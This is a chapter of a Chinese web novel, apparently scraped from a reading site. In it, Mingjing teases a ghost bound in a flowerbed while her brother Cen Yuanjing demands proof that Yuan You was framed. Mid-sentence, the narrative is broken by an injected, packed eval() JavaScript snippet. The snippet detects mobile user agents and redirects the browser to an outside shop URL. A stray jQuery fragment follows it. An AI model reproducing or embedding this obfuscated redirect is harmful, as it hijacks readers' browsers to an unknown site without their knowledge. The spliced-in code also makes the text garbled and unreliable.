然而这些跟她自己有关的热闹,明菁都没兴趣。

    洗好澡,换好睡衣。明菁就抱着软乎乎的大猫猫一起睡觉了。

    第二天一早,所有的一切重新运转。王管家依旧在岑家忙碌着,岑远景也依旧绝望崩溃着。

    没有其它好戏看,明菁睡到上午九点才起床。

    慢悠悠抱着猫猫走下楼,进入餐厅就看到饭桌边朝她投来哀怨谴责视线的岑远景。

    明菁笑着像是看不懂他的表情,只抬起猫猫爪给他打招呼:“哎呀,二哥早呀~”

    岑远景呵呵一声,但立刻就迎接来岑父警告的视线,只能憋屈又委屈地回应:“早qaq。”

    早餐很好吃,明菁吃得很满意。

    吃完后,岑远景像是生怕明菁就这么又走了似的,赶忙拦住她。

    不过明菁今天并没有外出的打算,被岑远景这样拦住后,顺势就走去了前院的花园。

    岑远景赶忙跟上去,就看到这可恶亲妹妹最终在一处花圃前停住,然后蹲了下来。

    明菁跟女鬼对上视线。

    女鬼死死盯着靠近过来的明菁,那双汩汩流出鲜红血水的眸子饱含阴鸷怨气。花丛将她死死捆缚在地,女鬼疯狂挣扎着,猩红且长的指甲如尖刺般朝着明菁伸出——

    明菁故意逗她,将细白的手指靠近过去,又在快要被她刺中时撤离。

    几次下来,女鬼的眼神越加充满戾气,五官七窍的血水也流得更凶了。

    岑远景看不懂明菁在干什么,还以为她是喜欢这丛花。不过岑远景现在可没什么心情给这可恶的亲妹妹讲解花,他还有无比崩溃的事情需要缠着明菁问。

    于是他也蹲下来,绝望地催促问:“快别玩了!快点告诉我你究竟是怎么知道这些事的吧!”

    明菁的目光这次终于挪给他了,但那眼神让岑远景看不懂。

    岑远景就以为是自己问话的语气不好,闭了闭眼,硬是调整了翻呼吸,而后憋屈地重新用别扭无比地缓慢语气又问了一遍。天知道他从小到大,什么时候这么卑微过!

    明菁却并不是这个意思,她绝对堪称善意地提醒道:“二哥啊,你往外面挪一下吧~”

    岑远景气闷,又岔开话题不回答他的话!但能怎么办?他现在还有求于她,只能憋屈地乖乖往外挪了一点。而后下意识问了一句:“为什么?”

    明菁:“因为你刚刚差点要被咬到了。”

    岑远景皱眉,往花丛那看了看:“是有虫吗?有虫别在这待了,我们进客厅聊!”

    明菁却笑:“不是虫哦。”

    岑远景不解:“那是什么?”

    明菁给岑远景大致比了个轮廓:“这里躺着一只女鬼哦,被花丛给缠住了。你刚刚蹲着的位置,小腿离她的脑袋很近,如果她挣扎的幅度再大一点的话,就会咬到你的腿呢。”

    岑远景:……

    岑远景闭了闭眼:“明菁!你又逗我!!”

    岑远景真的要癫狂了,这一件又一件事连着,好几件事都被明菁说中,他的心慌也越来越重。然而可恶亲妹妹却只知道看戏逗他,要知道再过四天就真的是小琪的生日了啊!

    他到底是真的冤枉了元莜,还是没有冤枉,也直到现在还没有确切的证据!他要疯了!!

    明菁显得很是无辜:“怎么说真话总是不被理解呢?”

    岑远景深呼吸,决定不跟着明菁的节奏走,他要接着问他自己的问题:“既然你说元莜被冤枉的事全都是小琪做的,那你有什么证据吗?”

    岑远景看不到一旁的女鬼,明菁逗他也觉得没什么意思。

    转头就继续又去逗女鬼玩了。

    闻言不答反问:“你要证据干什么呢?”

    岑远景:“当然是知道真相,然后结束这件事啊!如果元莜真的是被冤枉的,我得赶紧去公开解释这件事并道歉!不然拖得时间越久,元莜的名声就会被毁得越惨!”

    这也是岑远景着急的原因之一。

    他只要一想到这件事如果元莜真的是被冤枉的,而他之前都对她做了些什么,他就崩溃。

    明菁却并不觉得这件事有急着解释的必要。逗了会女鬼,成功将她逗生气后,明菁单手抱住猫猫,另一只手从口袋里抓了一团虚无的东西团吧团吧,而后伸到了女鬼狰狞大张的嘴边。

    明菁示意女鬼可以将这团东西给吃掉,女鬼嗅闻了下,觉得味道似乎还行,也就没客气。

    明菁于是心情不错,笑着:“可是维持现在这样的情况,对白月光会比较有利吧?”

    岑远景听不懂:“怎么可能对元莜有利?如果她真的是被冤枉的,她现在可是被误解、被质疑、被讨厌,甚至是被排挤啊!元莜从小就那么受欢迎,她怎么能一直受到这样的对待!”

    说着,岑远景都想哭了。

    尤其是想到元莜如果真的是被冤枉的,而这些伤害都是他带给她的……岑远景就更是想狠揍自己一顿。他都做了些什么!

    “这样不好吗?”明菁歪着脑袋望向岑远景。

    半真半假道:“已经被冤枉的人,只是简单地得到道歉,就能挽回已经失去的那些名声,忘掉已经被误解的记忆吗?我觉得倒不如彻底点——让所有人对她的误会再次加深,然后再给出足够充分的证据,这样才更有利于她名声彻底恢复吧?”

    岑远景分辨不出真假,只震惊地看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666938|207052||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着明菁:“所以你是说如果元莜真是被冤枉的话,还要让她继续被误会下去?”

    明菁有些怜悯地望了眼岑远景:“这也是没办法的,谁让你没有证据能证明她是无辜的呢。”

    岑远景睁大眼睛:“你也没有证据吗?”

    明菁表情奇怪地望着他:“我怎么会有证据呢?跟你的白月光和替身相处的是你,又不是我。画室是你开的,又不是我开的。我上哪来的证据?”

    岑远景猛地就跳了起来:“什么?你没有证据?不是?那你跟我说什么这些都是元莜被冤枉的?你没有证据你怎么知道她是被冤枉的??”

    岑远景真是快疯了,这可恶亲妹妹到底知不知道她在说些什么!没证据她说得就像是真的一样!她不会一直在故意说假话逗他玩,之前那些真的都只是恰好蒙上的吧?!

    女鬼显然对岑远景一惊一乍的动静很不爽,刚垫了垫肚子的她阴鸷地抬头望着他,感觉又饿了。明菁也没办法,昨天那对兄妹撒在她和王管家,以及一些落到猫猫身上的东西实在是太少了,女鬼不够吃又被挑起了食欲,也很无奈。

    明菁拍了拍女鬼细长的手,做安抚状。

    而后抱着猫猫站起身来,很是无辜:“我不是早都说了吗?我是通过看到你知道的这些,我又不是监控摄像头,怎么可能你说要证据我就能给你拿出来啊?”

    岑远景能信明菁这话?这话简直比明菁是监控摄像头还要扯!

    岑远景被气个半死,眼前都发黑:“行行行,那我问你。你没有证据,我也没有证据,那么就算元莜真的是被冤枉的,最终到底怎么才能给她洗刷冤屈?没有证据谁能信她是被冤枉的!还有小琪,没有证据,怎么能证明她不是受害者?”

    明菁耸肩:“这是二哥你该头疼的事呀?而且急什么呢,现在你的白月光还正在跟你的死对头约会呢,那可是她的正缘,你也算是帮这两位牵线了,相信吧,你会有福报的。”

    岑远景:?

    岑远景彻底疯了。

    而另一边,司机丈夫和妻子也快疯了。

    一大早,妻子就跟公司请了假,然后跟着司机丈夫一起,带着女儿去了医院。

    哪怕女儿已经极力阻止,说她的这些伤真的没有很严重,但这对夫妻却仍旧阴沉着脸带着女儿前往了医院。当然,这阴沉并不是针对女儿的。

    事实上,夫妻两人此刻都压着火气,要不是更担心女儿的伤,恐怕现在已经冲到学校去了。

    女儿看到夫妻两这副表情,也逐渐地涌起了股委屈难过的情绪。

    不是因为夫妻两的表情对她来说太过可怕,而是两人对她的关心,让她再无法控制住泪意。